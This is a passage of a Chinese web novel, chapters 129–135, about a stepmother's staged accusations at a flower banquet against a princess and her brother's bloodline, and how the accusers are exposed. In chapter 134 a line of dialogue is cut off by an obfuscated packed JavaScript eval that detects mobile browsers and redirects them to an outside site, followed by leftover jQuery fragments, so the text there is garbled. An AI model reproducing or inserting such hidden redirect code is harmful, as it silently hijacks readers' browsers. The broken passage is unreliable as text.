张彩蝶见状,急忙亲自起身去迎,将苏老太太扶至座位坐下,开口道:“母亲,你身体不好,怎么也出来了?” 苏老太太坐下之后,大口的喘着粗气,一直过了好久,才将气喘顺了,慢慢开口说:“我今日听说太子亲临,便拖着病体强行过来,为了便是要状告苏赫!苏赫这孽障,他虐待祖母,不配为人,更不配当靖远侯!” “大哥一直吩咐下人,要给您找最好的大夫,喝最好的药,你怎能趁他不在,如此诋毁他?”苏清华淡淡开口。 她知今日张彩蝶全力准备,必有项目,这不就来了嘛! 苏老太太看了一眼苏清华,眼神宛如一把尖刀,恨不得立刻杀了她,说:“还有你,是你给我下毒,才害的我如今病痛加身。” “凡事可都要讲证据。”苏清华语气淡淡,两眼与苏老太太直视。 “我便是证据,你当日亲口所说,如今堂堂天韶公主,难道竟敢做不敢当吗?” 苏清华见她出言相激,淡定的用手绢擦了擦手,道:“你若是拿不出证据,便是恶意诋毁,看在你年纪大了的份上,我便饶你一次,若有下次,我可就不客气了。” 苏老太太见苏清华警告,不敢再与她争执,毕竟她在她身上不止吃亏一次。 她转向太子,使劲全身力气,跪倒在地,大声喊道:“太子,你要为我做主呀!” 说完,她便剧烈的咳嗽起来。 第一百三十章 太子急忙走到跟前,亲手扶她起来,说:“苏老太太,你放心,若是你所言为真,不管对方什么身份,天子犯法与庶民同罪,我必给你一个交代。” 张彩蝶也趁机过来,扶着苏老夫人道:“母亲,您先回去休息,此事有太子接手,你放心便是。” 语毕,她便吩咐奴仆,将老夫人扶回房间。 老夫人离开之后,厅内气氛瞬间变得尴尬起来。 此时,来做客的夫人才真正明白,张彩蝶今日是为清华公主,专门摆的鸿门宴。 无论是清华公主还是张家,她们都得罪不起,只暗暗祈祷,千万别神仙打架,她们凡人跟着遭殃就好。 “清华公主,苏老夫人即求到我头上,我也不能坐视不理,此事你可有想说的?”太子一甩衣服,重新做回椅子上,并开口问话。 “我还是那句话,凡是讲证据,我与苏老夫人无冤无仇,又为何要害她?” “你说谎,你从小便忌恨祖母对我的疼爱,记得有一年,祖母将一个镯子赏给了我,你却伸手抢夺,并趁乱将其摔碎,如今你当了公主,苏赫掌管侯府,你们必是趁我们不在家时,趁机陷害祖母报仇。” 苏清华看着苏清瑶,只见她一副义愤填膺的样子,不知道内情的,还真会信了她的鬼话。 她若是不提此事,苏清华差点都忘了。 当年苏老太太故意当着她的面,将母亲原本戴过的镯子,赏给了苏清瑶。 这也倒罢了,苏老太太甚至说:“原不是什么好东西,你留着以后可用来打赏忠心的丫鬟。” 正是这句话,刺痛了苏清华的神经,这才伸手抢夺,谁知苏清瑶趁机摔在地上,倒打一耙,说是她因为忌恨她得了赏,故意摔碎的。 苏老太太二话不说,立刻关了她一个月禁闭。 往事以往,苏清华并没有跟众人解释当年真相,毕竟信她的人,她不必解释,不信她的人,她解释也是徒劳。 况且她也不再是当年的小姑娘,为了真相会大声争辩,期待得到长辈权威的认同。 因为她现在要做自己的权威,为自己撑腰。 她看向厅内众人说:“苏老太太对待小辈们时,确实多有偏心,对我跟大哥多有苛待,可如今我们两个,一个是公主,一个是侯爷,如何会为了儿时的一点不公,便不顾一切报复?甚至还亲口对其严明真相,若是换成你们,你们会这么做吗?” “是呀,若是我可不会因小失大。”其中一个妇人,忍不住道。 “就是,若是真想谋害,直接杀了便是,又怎会留下活口,让她有开口的机会?” “你们要害她,当然不是为了小时候的那点不公,而是因为她是你的杀母仇人!”张彩蝶见众人偏向苏清华,急忙开口解释:“你留她性命也不是因为其他,而是想看她生不如死!” “哦?张夫人好像知道什么内情,不如直接说出来,以便太子更好的查案。”苏清华好心建议道。 她倒是要看看,张彩蝶是否敢当众承认,她娘亲被害的真相。 张彩蝶看着众人,犹豫了一瞬,又咬紧嘴唇,像是下定了某种决心,开口道:“原靖远侯夫人-慕婉,也就是清华公主亲娘,在生产之际,被老太太毒杀,幸好清华公主命大,又是女儿身,才保住了性命。” 她又看向苏清华,继续说:“你之所以毒害老夫人,当然也是因为这个原因。杀母之恨,别说甘冒风险,就是明知一死,你也会在所不惜。至于跟她言明真相,为了便是杀人诛心,清华公主,我说的可对?” 众人闻言皆是一惊,不由同时看向苏清华。 苏清华感觉到大家注视的目光,仍是一脸淡然。 她两只手交叠一起,轻轻鼓掌:“张夫人胡编乱造的本事不错,只是如果我记得不错,那时候你还未嫁入苏家,这么隐晦的事情,你又是如何知晓的?” 秦静姝轻捻手绢,也开口帮腔道:“是呀,清华公主娘亲被害之事,皇上早已亲下圣旨,真凶乃是你的贴身嬷嬷,如今张夫人的意思,竟是公然置疑皇上吗?” “我并没有置疑皇上的意思,反而是要将真相大白于天下,不让皇上再被苏洵蒙蔽。”张彩蝶说着跪倒在太子面前,说:“太子殿下,我要举报我的丈夫苏洵,他故意欺瞒皇上,犯了欺君之罪,当初皇上命他彻查,清华公主生母被害一案,他明明已查知真相,真凶乃是他的亲母,可他为了保护亲母,便逼着让我的嬷嬷顶罪,吴嬷嬷含冤而死,我身为她的主子,却不能为她做主,实在有愧呀。” “你说的可是真的?”太子惊讶的问。 别说太子惊讶,便是在场的其他人,也无不惊讶,本只想来赏花,没想到却看了这么场大戏。 “若有半句虚言,天打雷劈。” 张彩蝶发此毒誓,众人基本都信了她的话。 不由内心感叹:果然一入侯府深似海,即便是大将军的亲妹妹,嫁人之后,也会被逼至此。 当时虽说定的吴嬷嬷之罪,可明眼人都知道,奴才做事都是听主人的,她们原来竟是误会张彩蝶了! 真凶竟是看着和善,无任何杀伤力的苏老太太。 “可是苏老太太为何要杀自己的亲儿媳,而且她当时还怀有苏家的骨血。”其中一个夫人,忍不住好奇发问。 张彩蝶闻言,脸上尽是愧色,说道:“此事我也有责任,我当时对苏洵一见钟情,不小心对苏老夫人吐露真声,我本想着是有缘无分,没想到苏老夫人却会对亲儿媳下毒手。” 说着,她呜咽出声:“见她如此狠心,我便只想远离苏家,可苏老夫人却威胁我说,若是我不答应嫁入苏家,便将我喜欢苏洵之事,公之于众。我担忧名声有损,便一时糊涂嫁入了苏家,这也成了我今生最后悔之事!” 太子表情严肃,质问张彩蝶:“你即早就知情,为何现在才说?” 第一百三十一章 往事随风 “当年我一步错,步步错,后来嫁入苏家,生了瑶儿跟喆儿。我早已与苏家融为一体,苏洵威胁我,若是我不让嬷嬷顶罪,到时候老夫人获罪,不止是我,便是我的两个孩子也会跟着一起遭殃,我一时被他蛊惑,便昧着良心答应了他。自从嬷嬷死后,我每日寝食难安,今天说出真相,内心反而平静不少,若是皇上要罚,我绝无二言,只是我两个孩子无辜,还请太子帮我跟皇上求情,请求皇上不要牵连他们。” 张彩蝶泪流满面,说的情真意切,待听到她为儿女求情,不少夫人都感同身受,频频点头。 若是换成她们,她们必也会跟张彩蝶同样的选择。 便是秦静姝知道她目的不纯,都一时被她的情绪带动,内心不由的酸楚起来。 若是她的娘还活着,必也会为她付出一切。 苏清华面色平静,丝毫没受到她的影响,而是飞速转动脑筋。 苏清华内心不由暗忖:张彩蝶竟真敢将实情说出,虽说她隐藏了自己挑唆的部分,可她这么做到底是为了什么? 张彩蝶主动承认此事?对她有何好处? 太子没有立即答应张彩蝶,反而转向苏清华问:“清华公主,此事你怎么看?” 苏清华睨了一眼张彩蝶:“如果真如张夫人所说,那苏老夫人毒害儿媳,确实罪该万死!只是苏老夫人刚才在这的时候,张夫人为何不说此事,也好与她当面对质,偏偏要安排她离开之后,再主动坦诚此事,如何能令众人信服?” 张彩蝶不慌不忙,淡定开口:“她虽有错在先,可毕竟年事已高,又是长辈,何况她身体虚弱,我不忍让她在此种情形下,亲自面对众人所指!” “张夫人果然大义,苏家如此对她,她还在为老夫人着想。”一位侍郎的夫人不由赞叹。 “张夫人既然如此孝心,为何不将错就错,就此作罢,让往事随风?反正吴嬷嬷已顶罪而死,你非要当众说出来,这岂不是自相矛盾?”秦静姝此时已从刚才的情绪中出来,立刻抓住张彩蝶的漏洞。 “我本不想说出来,可清华公主一直不承认,在知道真相之后,枉顾赵阳律法,对婆母乱用私刑,加上太子殿下在此,我不忍欺瞒太子殿下,只好将真相说出。” 张彩蝶说的一板一眼,众夫人对她深信不疑,连连点头。 苏清华却反驳出口:“张夫人如实说出当年真相,吐露杀害我母亲的真凶,我心中甚是感激,只是你却不该随意攀咬,故意用此事陷害与我,因为在今日之前,我从未怀疑过苏老夫人,又如何会对她乱用私刑?” 张彩蝶冷哼一声:“清华公主足智多谋,早已自己查明真相,又何必在这假装今日方知?” 苏清华手指轻轻扣着桌面:“多谢张夫人夸赞,只是知道真相的人,除了你,便只剩苏老夫人跟苏洵二人,他们瞒我还来不及,我又从何得知真相?” 对于苏清华的反问,张彩蝶不急不躁,像是早有预判,淡定的回道:“你当然是从吴嬷嬷的孙子-李小山那里知道的。” “吴嬷嬷作为我的贴身嬷嬷,曾亲耳听到真相,后来她虽被乱棍打死,死前却特意请假回了一次家,她必定将此事告知了李小山,而且我问过李小山的邻居,他们亲口证实,曾亲眼所见,你去找过李小山。更重要的是,你走之后,李小山一家也离开了赵阳城,若不是他跟你说了什么,又何必急着离开?” “张夫人,李小山为何着急离开,相信你比我清楚,当日听闻毒杀我娘真凶是吴嬷嬷,我无论如何也不相信,因此才想去李家查问真相,没想到李小山的女儿得了急症,他恳求我给他一点时间,以便给女儿治病,我见他女儿呼吸急促,双腮赤红,并不像装的,便心软答应给他时间,他满是感激,说是女儿治好病之后,必会将真相告知我,可等过了两日,我再去找他,却发现已人去房空。” 苏清华转头直视张彩蝶,继续说:“若不是你们害了我母亲,心中担心真相败露,暗中帮他,他怎么可能带着病重的女儿搬走?后来我派人找了他很久,却怎么都找不到一点线索,若不是有人帮助,我不信他会消失的如此无影无踪。” 张彩蝶看着苏清华讽刺的目光,内心不由恼怒至极。 因为她一直在找李小山,却一直没找到,苏清华这是正大光明嘲笑她呢。 “胡说,母亲虽答应给他银子,可苏府那几日一直忙碌,母亲恰好忘了此事,最后一个铜板都没给过他,他家又哪来的银子逃跑?必是你暗中相助的吧?” 还未等张彩蝶开口,苏清瑶抢先开口。 “我那时还未封公主,被苏家赶至家庙,自己日常吃穿用度都艰难,又哪来的闲钱帮助杀母仇人的儿子?苏小姐下次栽赃之前,也请先动动脑子。” “你...” 苏清瑶被她嘲讽没脑子,心中气极,却又不敢反骂回去,只紧咬着嘴唇,怨恨的看着苏清华。 “是呀,而且张夫人不是说,内心深处一直觉得愧对吴嬷嬷?那为何会忘记给她孙子银子?”秦静姝悠悠开口,一下点破张彩蝶的伪善。 “母亲作为苏府主母,需要打理苏府上下,事务繁忙,怎么可能像秦姑娘一样,清闲的很,还有闲工夫管别人家闲事?”苏清瑶见秦静姝多次帮助苏清华,早就心中有怨,她不敢怼苏清华,正好趁机把气撒到秦静姝身上。 “张夫人身边,便没有一个得力助手,懂得在适时时候,多多提醒主子?”秦静姝敲敲脑门,随即说道:“哦,对了,张夫人的得力住手吴嬷嬷已经被她拿出来顶罪,乱棍打死了,怪不得会忘记安抚吴嬷嬷的孙子!” “你...” 苏清瑶还要说些什么,可旁边的张彩蝶,紧紧握住她的衣袖,不让她再说。 苏清华只好委屈巴巴的看向太子。 第一百三十二章 血脉有异 太子见她说话漏洞百出,那副不成大器,拿不上台面的样子,内心不由生厌。 若不是母后再三叮嘱,无论如何也不能让别人娶她,他又怎会在张家眼见要倒的关键时刻,来趟这趟浑水? “表面说的好听,一直深觉愧对贴身嬷嬷,可将她推出去的时候,没有一点犹豫,待嬷嬷被乱棍打死之后,连她唯一的孙子,也遗忘一旁,原来张夫人并不像表面这般和善!” 一旁看戏的夫人们,不由窃窃私语。 “是呀,当时清华公主被赶家庙人尽皆知,看来她在苏家的日子并不好过,否则又怎会被赶家庙?” “就是说嘛,这天底下的女人,就没有一个会真心对待别人的孩子!” “这样说来,清华公主也挺可怜的,自幼在继母手中长大,若不是后来被天韶太子选中,当了公主,赵阳城谁会知道她名字呢?” 夫人们议论之声虽低,可现场的人也基本听的清楚。 太子见风向转变,急忙开口说:“既然清华公主是刚知道此事,那又怎会去害苏老夫人?而且苏老夫人当年能做出杀人之事,如今她的话也并不可信。至于她毒害清华公主亲娘之事,我会如实禀告父皇,请求父皇论断!” “太子英明!” 听到太子如此说话,众人不由发自内心的夸赞道。 她们对太子殿下的敬仰之情,也更加强盛。 赵乾见到如此情境,内心不由暗自愉悦,暗叹刚才的选择是对的。 谁又会不喜欢被人赞扬呢? “太子圣明,是我内心狭隘,多心猜疑了清华公主,还请公主大人大量,饶过我一次。” 张彩蝶竟没有反驳,而是直接给苏清华道歉了。 她宁愿自己名声受污,也要将老夫人是害死她生母真凶之事说出,此刻却如此轻易揭了过去,以苏清华对她的了解,觉得此事必有蹊跷。 “知错能改,如此心胸,倒也是令人佩服。”侍郎夫人再次发表言论。 苏清华对于张彩蝶的道歉,一直没有回话,只一只冷冷的审视着她。 张彩蝶脸色并无异常,一直弓着腰,极其真心的样子。 苏清瑶眼里却尽是不甘,眼中闪过一丝狠毒,道:“清华公主虽暂时洗脱罪名,可苏赫虐待老夫人之事,尚未明确。” 秦静姝见她又将矛头指向苏赫,不由恼怒道:“太子已经明确说了,苏老夫人的话并不可信,而且苏大哥跟老夫人也无怨无仇,又如何会虐待她?” “谁说他跟祖母无仇?他的生母珍姨娘,当年清华公主出生之时,趁乱与人私奔。祖母亲眼所见,不过为了苏家声誉,一直未将此事公开,只是私下会说给苏赫听,苏赫本就对此事怀恨在心,后来终于当了靖远侯,掌管了苏家,他又如何会善待祖母?” 秦静姝一甩锦帕:“苏大哥人品贵重,得皇上与我祖父的亲口赞扬,又怎会为了这点小事,虐待老夫人?你是在置疑皇上与我祖父的眼光吗?” 苏清瑶却并不想让:“秦姑娘,你刚与苏赫定亲,对他还不甚了解也是有的,他虽不会为了几句口角虐待老夫人,可若是为了爵位呢?” “你什么意思?皇上早已下旨,亲封他为靖远侯,谁又能撼动他的爵位,他又怎可能会为了爵位,做违法之事?”秦静姝说的坚定。 令厅内众人,也不由暗自点头。 张彩蝶见女儿口舌上不是秦静姝对手,急忙开口帮腔:“若是他血脉有疑,不是苏家血脉呢?皇上封他靖远侯,是看在他身上有苏家血脉,若是他根本不是苏家人呢?祖母说他娘跟人私奔,并不是空穴来风,他因为心虚,担心事情败露,所以才会虐待老夫人,一是为了泄愤,二是为了堵住她的嘴!” 此话一出,大殿之内皆是一惊,今日的戏果然一场惊艳过一场。 本来只是苏赫虐待老夫人之事,怎么忽然变成血脉不纯,如此劲爆的瓜? “你到底什么意思?你今天假借赏花的名义,将大家聚集在苏家,难道就是为了让大家听你编故事?你若是有证据便立刻拿出来,若是没有证据,我们可不奉陪了。”秦静姝懒得再跟她扯皮,厉声回应道。 “哼,我若是没一点证据,又如何会浪费众位的时间,尤其是盛老太太跟太子,他们百忙之中前来,我必不会让他们白来一趟!” “瑶儿,让你弟弟将那人带过来吧。” 苏清瑶早就等着这一步,此时听到母亲吩咐,急忙出了厅门,亲自去唤弟弟前来。” 须臾间,苏喆便带着一位中年男子进来,苏清华抬眸去看,只见他蜡黄的面皮,松垮地垂着,两颊深深凹陷,眼眶泛着青黑,油腻的头发胡乱绾成发髻。 一双破布鞋露出变形的脚趾,脚指甲缝里嵌满了泥垢,走起路来拖拖沓沓,每一步都带着混不吝的痞气。 他进入大厅之后,直直的跪倒在地,说:草民吴峰,给各位贵人请安。” “张夫人,你从哪找来此人?他又凭什么能断定苏大哥的身份?”秦静姝语气冰冷的问道。 张彩蝶嘴角含笑,说:“此人前几日忽然找到我,说苏赫并非苏家血脉,我见他说的真切,不敢随意处置,毕竟苏赫与我身份尴尬,这才将众位邀请而来,想让大家帮我一起鉴定一下。” 随后,她转身看向吴峰,说:“你将自己身份,还有珍姨娘当年所做之事,一五一十的说给众位听听吧,尤其是说给太子与盛老夫人听,他们必会秉公处置。” 吴峰朝着太子与盛老夫人的方向,重重磕了一个响头:“小人是吴珍的堂哥,也就是苏赫的表舅,我要来状告苏赫,他血脉不纯,并不是苏家骨血,不配继承侯爵,成为靖远侯!” 苏清华与秦静姝仔细打量着吴峰。 他眼角挂着宿醉未消的血丝,看人时眼神浑浊又透着算计,薄唇总是撇着,嘴角残留着烟杆熏出的焦黑痕迹,说起话来带着一股子油滑,露出几颗发黄的牙齿,缺了一角的犬齿在说话时格外显眼。 第一百三十三章 不识死字 秦静姝向来平静的脸上,此时也挂着明显的恼怒 “哪来的刁民,竟敢信口开河?” “小民所言句句属实,绝对不敢诓骗各位贵人。” 秦静姝见他仍不知悔改,一拍桌子,猛地站起:“你可有实际的证据?若是仅靠你一张嘴,便想污蔑朝廷命官,可是死罪!” 吴峰听到死罪二字,明显的一哆嗦,他猛地抬头看向张彩蝶,刚要说什么,却见她垂眸抿嘴,面色不善。 吴峰将未说出口的话咽下,镇定了几分精神,才再次低下了头,颤颤巍巍的从怀中掏出一封信。 “小人有证据,这是堂妹吴珍亲笔书信,请各位贵人过目。” 秦静姝见状,对着绿晚点了一下头。 绿晚急忙上前一步,将那封信拿过来递给秦静姝。 秦静姝越看脸色越差,最后脸涨得通红,显然已怒极。 她深吸了一口气,才将心底的怒气暂时压下,她将信递给苏清华。 苏清华低头快速的浏览一遍,只见上面以珍姨娘的口吻,说自己在苏家不得苏洵宠爱,每日过得很寂寥,于是偷偷跟外面一个卖货郎有了首尾,如今她已后悔当日为了嫁入豪门,不惜在已怀孕的情形下,设计陷害苏洵,最终成功进入苏家,过了几年贵门生活,她才知道,原来自由跟爱情比财富更重要。 “清华公主,信上到底怎么说的,不如给太子一看?”张彩蝶故意提醒苏清华道。 “不知是谁,胆大妄为,写了一堆污言秽语罢了,别污了太子的眼睛!” “太子贵为一国储君,什么样的腌渍事没见过,岂会在乎这一封小小书信,不管那珍姨娘写了什么,苏赫身世关乎苏家血脉,必须经过太子论断!” 张彩蝶斜了苏清华一眼,不屑的道:“莫不是信里面,写了太多珍姨娘的肮脏之事,清华公主心虚,不敢将此信给太子过目?” “张夫人可曾先行看过这信?”苏清华不急不慢的问。 “当然没有,吴峰昨日来府,只说苏赫身份有疑,他手中有重要证据,可他为了保险起见,并没有轻易拿出,说我必须邀请很多人,当着贵人的面才会拿出来,否则我也不会耽误太子时间,请他百忙之中,前来参加花宴。” “哦,你没见过的,倒好似比我见过的,还知道里面内容知道的清楚,你怎么就知道是写了肮脏之事?不是平常之事?” “既然是重要证据,又怎会是平常之事,清华公主别浪费时间了,快给太子吧,莫不是你想偷偷毁了?” “你恨不得我立刻毁了吧,那样便做实了大哥的罪名,可惜,我不会让你如愿!太子即喜欢看你编的故事,那便拿去看吧,只是我劝夫人,还是多看看这故事书再编的好,否则让人看的寡淡无味。” 太子随侍的太监将信接过去,递给太子,太子未接手,反而吩咐太监大声的念了出来。 等到念到最后一个字,大厅之内一片唏嘘之声。 今日这瓜吃的越来越大! “看来大家都不经常看话本子,就这么一个故事,就能引起大家的兴趣。”苏清华说。 “清华公主,太子殿下跟盛老夫人还在此处,不是你想混淆大家,便可以了事。”张彩蝶对于这事,显然是势在必得,并没有丝毫想让的道理。 “哼,这计设计的实在拙劣,一看便是紧急之下,没有安排缜密,所以漏洞百出,谁若是信了,渍渍....” 被苏清华这么一渍渍,其他众人,包括太子,都不敢轻易说自己真信了。 “既然漏洞百出,那你便指出一处来,何必在这装神弄鬼?” “这么点小计策,无需公主亲自出手,我来随便指出几处便是!”苏清华刚要开口,秦静姝却微一抬手,阻止了她。 秦静姝往前跨了一步,俯视着跪在地上的吴峰。 吴峰见一双戴着斗大的珍珠的绣鞋出现在眼前,他恍然抬头,只见一温婉的贵家小姐立在眼前,可她的眼神却与她周身气质不符,那眼神好似能看穿一切。 他本就紧张的神经,更是紧绷起来。 “吴峰,你可知苏赫的生母叫什么名字?” “我当然知道,她是我的堂妹,我如何会不知?”吴峰紧绷的神经瞬间放松了不少。“她叫吴珍,本是赵阳运城人,后来因我叔婶去世,她失去依仗,便主动卖身到苏府,做了杂扫丫头。” “那你可知她现在何处?”秦静姝再次开口道。 “具体何处我也不知,不过我知道她应该是去了南方,而且还是跟那个卖货郎一起私奔去的。”吴峰慢慢放松下来,说话也顺了起来。 “那卖货郎姓甚名谁?” “妹妹没跟我说过名字,不过我倒是见过那人一面,长得油头粉面,说话油腔滑调,跟我妹妹以前喜欢的类型差不多。” “哦,你最后一次见你妹妹是什么时候?” “就是十五年前,她从苏府逃出去之后不久,便找到了我,还跟我要了不少银子,说是出来的匆忙,忘记带钱了,让我帮帮她,我当时见她可怜,便借给了她,可到现在她还没还给我,我这次来京,便是想试试能不能将这钱要回来,可没想到,那苏赫却抵死不认,甚至不顾亲情,将我赶出苏府,我没有办法,才会将妹妹丑事暴露出来。” 秦静姝没有听他说话,而是趁他说话的时候,在一张纸上写了一个字,待吴峰讲述完毕,她将那纸条递给吴峰,问:“你妹妹的珍字,可是这个珍珠的珍?” 吴峰一听让他认字,心瞬间提到嗓子眼,眼睛也不由再次朝着张彩蝶望去,可秦静姝却正好站在两人中间,将他视线挡住。 “怎么?可是不认识?” “认识,认识,妹妹便是这个珍珠的珍字。”吴峰怕对方看出破绽,不敢拖延太久,急忙回道。 他不由庆幸,幸好秦静姝给了他提示,说是珍珠的珍。 妹妹当时取名,确实是取的这个字。 “可我写的这个字,不是珍字,而是死字,你连死字怎么写都不知道,还敢来苏府污蔑当今靖远侯的生母?” 秦静姝眼神凌厉,狠狠的盯着吴峰。 第一百三十四章 吴峰被她眼神震慑,吓得急忙磕头,口里喊道:“小民本就识字不多,这么多年没用,一时忘了也是有的,姑娘何必恐吓小民?” “秦姑娘,普通人家能认几个字便不错了,偶尔忘了也是有的,你想用这个证明苏赫是苏家血脉,也有点太牵强了吧?”张彩蝶在一边得意的讽刺道。 “是呀,他一看就是乡下人,又怎会认识许多字?” “秦姑娘对这苏赫倒是痴情,明知他可能血脉存疑,还在为他争取,不会已经跟苏赫有了首尾了吧?” 大厅内,有几个胆子大的妇人,又开始小声的讨论起来。 “你即不认识几个字,珍姨娘为何还要跟你写信?” 秦静姝没有理会旁人,仍是盯着吴峰道。 “我们家隔壁便是村里的私塾,平日我们都找他帮我看信,妹妹当时也是在那里学的识字。”吴峰急忙解释。 这个他倒没有撒谎。 “你意思是,刚才那封信,你也找村里私塾的先生,帮你看过了?”秦静姝厉声问道:“那先生当时可是如刚才的公公一般,一字不差的给你念了出来?” “是,先生当时念得跟公公说的一模一样。虽年代久远,不过因为事关重大,我还是记得清楚。”吴峰强装镇定道。 “那他的定力倒是不错,在村里当个私塾先生,倒是有点可惜,不如我将他推荐给祖父,让祖父引荐一二!” “我们村的先生当时念完,对她的行为也很不齿,若不是路途遥远,必会亲自到苏府告发他,只可惜他已年迈故去了。” 吴峰敢将他搬出来,便是因为他已经死无对证。 “那当年你借给珍姨娘多少银子?” “一百两。”吴峰不敢犹豫,立刻估摸了个数。 “那你与珍姨娘关系如何?我看你衣着破烂,好似过的并不如意。”秦静姝又问。 吴峰听到此言,眼神里明显闪过一丝怨恨:“小时候挺好的,我还对她多有帮助,后来她与有妇之夫有染,被人家找上门来,还是我帮她挡住那些人,后来她能到京都的苏府当丫鬟,也是我帮她达成的,没想到她真入了苏府,当了姨娘却慢慢与我疏远了,真是喂不熟的白眼狼,若不是...” “咳咳....”张彩蝶干咳一声,打断了吴峰的话语。 “秦姑娘,你到底要问什么,在这东拉西扯也没问出什么,反而更证实了,吴姨娘她生性**,行为不端而已。” 秦静姝并没有急着反驳张彩蝶,仍是紧盯吴峰。 只见吴峰神情紧张,两眼不由自主的再次看向张彩蝶。 吴峰内心太紧张了,只因为张彩蝶曾跟他说过,当她咳嗽的时候,便是他说错话的时候。 他不由反思刚才的话,他时刻记着自己的任务,那就是诋毁妹妹的声誉,前面应该没什么问题,那有问题的便是后面几句了。 “珍姨娘即与你并不亲,却将如此隐蔽的事写信告诉你,后来她与人私奔,随便从苏府拿走几件饰品,也不止一百两银子,却千里迢迢跑到你家,与你借了一百两,就好像是特意将自己行为不轨的证据,特意交到你手上,等着你上门揭发一样,这岂不是自找苦吃?” 吴峰闻言,纵使他早有准备,一时也不知该如何接话了,特别是刚刚那一百两,也是他使劲往多里说的,没想到在这些人眼里,一百两连个首饰都不值。 “请问诸位,你们会多此一举吗?”秦静姝返回自己座位,抬眸扫向诸位,询问道。 “当然不会,谁会这么蠢?主动将把柄送到不信任的人手里。” “就是,还借一百两,别说是靖远侯府,便是我三品小官家,从手缝里漏点,都不止这个数,这吴峰肯定是嫉妒妹妹,故意诋毁。” 一时间大家都站在秦静姝这边,对吴峰投去不屑的眼光。 见如此情景,张彩蝶立刻出言道:“太子殿下,事关苏府血脉,便是有一点可疑之处,也请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639556|169819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太子明察,若是查明苏赫确实苏家血脉,我作为苏府主母,当然开心,可若是他确实不是苏家骨血,婆母病弱,丈夫身在牢狱,我若是再不站出来,只怕对不起苏家列祖列宗!” “此事确有疑问,不管如何,我都会彻查此事,给故去的老靖远侯一个交代。”太子说的大义凛然。 厅内有几个小官家的女子,见了不由内心澎湃。 太子果然如传闻一般,才貌双全,大公无私! “太子殿下英明。”张彩蝶一声称赞,其他人也紧随其后,跟着附和起来。 “既然提起祖父,那想必张夫人比谁都应该知道,大哥跟祖父长得极像,又怎会不是苏家血脉?张夫人故意找出此人,侮辱大哥名声,不就是为了你的亲生儿子苏喆吗?”苏清华直接将张彩蝶的心思说出。 厅内众人都是官员家眷,又怎会不懂后宅阴私,再想到吴峰话里的种种破绽,不由暗自点头! “清华公主,你毕竟是离开了苏家,希望你别多管闲事,此事关乎苏家子嗣问题,我作为主母不能不管。若是他确实苏家血脉,我愿自请离开苏家,给他赔罪,请太子殿下见证。”说着跪倒在地。 “好,张夫人为了苏家发下如此重誓,我必不会放任此事不管,我会如实禀明父皇,请父皇先暂时给苏赫停职,等待调查。” 秦静姝见状,脸上尽是焦虑之色,说:“太子殿下,你曾经也是祖父学生,可曾听过祖父说过,疑罪从无,现在仅凭一个吴峰,你便要将苏大哥停职,此事是否太过急躁?” “秦姑娘,老秦相是教过我几日,可你只是她的孙女,又有什么资格教我做事?难道老秦相仗着教过父皇跟我,平日便是这么教育秦家小辈,让你们如此不分尊卑,仗功欺人吗?” 秦静姝见太子如此说,只好暂时忍下,说了一句:“不敢,是臣女逾越了,祖父向来教育我们尊卑有别。” 事关祖父名声,秦静姝不敢有一丝疏漏。 第一百三十五章 出不了门 一直站立的苏喆见在苏赫血脉之事上,他们明显占据着优势,心中不由暗喜。 大胆开口道:“秦小姐,苏赫血统有疑,不过幸好皇上有先见之明,说的是配给靖远侯,若是秦姑娘愿意,即使苏赫不是苏家人,秦苏两家亦可结两姓之好。” 苏喆说着,大胆的上下打量她。 心中暗自盘算:秦静姝长得不错,况且身份也配的上他,当日**老秦相没成功,若是娶了秦静姝,不是更加便利? 秦静姝看了一眼苏喆,对他毫不掩饰的打量,只感到厌恶。 “在我心中,只认苏大哥一人为丈夫,别说他血统必不会有问题,即使他若是被奸人陷害,当不成这靖远侯,我也只嫁他一人。” 苏喆听她当面拒绝,而且看他的眼神全是厌恶,不由恼羞成怒:“哼,秦姑娘即不识好歹,我也不会勉强。只是到时别后悔便是!” 秦静姝懒得再与他说话,只哼了一声,不再看他。 “今日不早了,我要尽快回去查明此事。”太子起身,准备带着盛老夫人离开。 秦静姝见状不由心焦,脸色哀愁的看着苏清华。 苏清华接受到她的目光,也立刻理解了她的意思。 大哥在边境靠的是祖父的威严,一些老部下的支持才可能站稳脚步,若是血脉有疑,传了过去,他不断收服不了那些人,反而会引起他们厌恶之情,再加上张之熊留下的势力,那大哥在边境必定异常危险。 此事必须快刀斩乱麻,今日便解决了,不能让这里人带着一点疑问,离开苏家。 苏清华给了秦静姝一个安心的眼神,秦静姝本焦躁的心,才稍微缓解。 太子起身,其他人都站起身来恭送。 苏清瑶为了给盛老夫人留个好印象,便赶快过去扶着她。其他女子见状,有些大胆的夜纷纷上前,簇拥着太子跟盛老夫人。 就这样一群人浩浩荡荡的出了厅门,往院子走去。 苏清华拉着秦静姝走在最后,慢慢的跟着众人。 “王夫人,今天可真是没白来呀,花虽然是没看到,可这戏可不少,我若是回头将这事跟身边的姐妹一说,保证会成为焦点。”一位夫人说道。 “是呀,估计接下来几天,这件事,不止会是你姐妹间的焦点,便是整个赵阳都城,都会聚焦谈论此事。”另一位夫人小声回应。 她们虽是压低了声音,可周围人还是能听到。 张彩蝶心中暗喜:我在邀请你们以前,早就打听好了喜好,邀请的大部分都是八卦,爱说闲话的人,不管最后能不能将苏赫逐出家门,我都要让他名声臭了。 秦静姝听了心中更加焦虑。 她小声问苏清华:“今日若是这些人出了苏家,苏大哥身份有疑的事立刻回传遍京城,即便是最后有办法证明苏赫身世,可只要今日血脉有疑之事传出去,对他仕途跟名誉都是不可挽回的影响。” 苏清华给了她一个安心的眼神,对在她耳边,轻轻说道:“姐姐放心,她们今天谁也走不了,我保证让她们都出不了门。” 话音刚落,前面人群中传来尖叫的声音:“盛老太太,您怎么了?”这叫声正是苏清瑶传来的。 两人慢慢走上前去,只见盛老夫人呼吸急促,倒在苏清瑶的怀里,她由于身体瘦弱,眼看便要支撑不住,可她不敢摔倒,咬牙强撑着身体。 